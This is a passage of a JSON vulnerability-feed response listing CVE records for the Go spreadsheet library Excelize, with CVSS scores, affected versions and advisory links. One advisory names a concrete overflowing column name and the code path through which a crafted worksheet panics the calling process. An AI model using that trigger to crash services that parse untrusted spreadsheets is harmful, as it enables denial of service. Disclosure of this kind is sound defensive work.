2.11.1-0.20260908032718-ecd99d761fe0"],"cwes":["CWE-129"],"tags":["nvd","status:received","osv","osv:ghsa-8jjq-8j9w-m2v6","ecosystem:go","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/qax-os/excelize/commit/ecd99d761fe0489f1ed308e2f7dc2e0502d1a396","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/qax-os/excelize/pull/2390","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/qax-os/excelize/security/advisories/GHSA-8jjq-8j9w-m2v6","type":"advisory","title":"security-advisories@github.com"},{"url":"https://osv.dev/vulnerability/GHSA-8jjq-8j9w-m2v6","type":"advisory","title":"OSV GHSA-8jjq-8j9w-m2v6"},{"url":"https://github.com/qax-os/excelize","type":"vendor","title":"OSV package"}],"epssScore":0.00292,"epssPercentile":0.19921,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-07T19:17:34.120Z","addedAt":"2026-10-07T20:39:40.393Z","updatedAt":"2026-10-08T21:05:43.505Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107218","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-107218","note":"authoritative record"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-8JJQ-8J9W-M2V6"}]},{"id":"8a2bd89f-517c-4cd3-8e90-391e6dfc0b4d","slug":"cve-2026-107217","externalId":"CVE-2026-107217","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-107217 — Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets.","description":"Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.0.0 to 2.11.0 in github.com/xuri/excelize/v2 and from 1.1.0 to 1.4.1 in github.com/xuri/excelize, ColumnNameToNumber accumulates a bijective base-26 value in int64 without detecting overflow, allowing an invalid long column name to wrap to zero with no error. ColumnNameToNumber accepts the overflowing name VGWQHXLSDVIKWV, after which checkSheetR0 and xlsxWorksheet.checkRow use the wrapped column value as an index. When a crafted worksheet uses an overflowing column name in a row normalized by checkSheetR0 or checkRow, the wrapped zero column becomes a negative slice index during worksheet normalization, allowing an attacker to panic and terminate the calling process. No fixed version is available as of this review.","cveId":"CVE-2026-107217","cvssScore":7.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","severity":"high","vendor":"Go","product":"github.com/xuri/excelize/v2","affectedVersions":["pkg:golang/github.com/xuri/excelize/v2 >= 2.0.0, < 2.11.1-0.20260910071107-696050fbf14e","pkg:golang/github.com/xuri/excelize >= 1.1.0, <= 1.4.1"],"cwes":["CWE-129","CWE-190"],"tags":["nvd","status:received","osv","osv:ghsa-c85p-xxjj-2r75","ecosystem:go","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/qax-os/excelize/commit/696050fbf14e74e96a58eef2b16aaf72f381a6a8","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/qax-os/excelize/pull/2394","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/qax-os/excelize/security/advisories/GHSA-c85p-xxjj-2r75","type":"advisory","title":"134c704f-9b21-4f2e-91b3-4a467353bcc0"},{"url":"https://osv.dev/vulnerability/GHSA-c85p-xxjj-2r75","type":"advisory","title":"OSV GHSA-c85p-xxjj-2r75"},{"url":"https://github.com/qax-os/excelize","type":"vendor","title":"OSV package"}],"epssScore":0.00335,"epssPercentile":0.24787,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-07T19:17:33.957Z","addedAt":"2026-10-07T20:39:40.386Z","updatedAt":"2026-10-08T21:05:43.486Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107217","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-107217","note":"authoritative record"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-C85P-XXJJ-2R75"}]}],"pagination":{"page":1,"limit":20,"total":1230,"totalPages":62,"hasNext":true,"hasPrev":false}},"meta":{"apiVersion":"v1","requestedAt":"2026-10-08T23:47:31.174Z","durationMs":32,"filters":{"search":null,"severity":[],"type":[],"country":[],"tag":["ecosystem:go"],"cwe":[],"vendor":null,"product":null,"cve":null,"source":[],"days":null,"publishedAfter":null,"publishedBefore":null,"minCvss":null,"maxCvss":null,"minEpss":null,"knownExploited":null,"hasPatch":null,"hasNucleiTemplate":null},"sort":"newest","unknownParams":[],"warnings":[]}}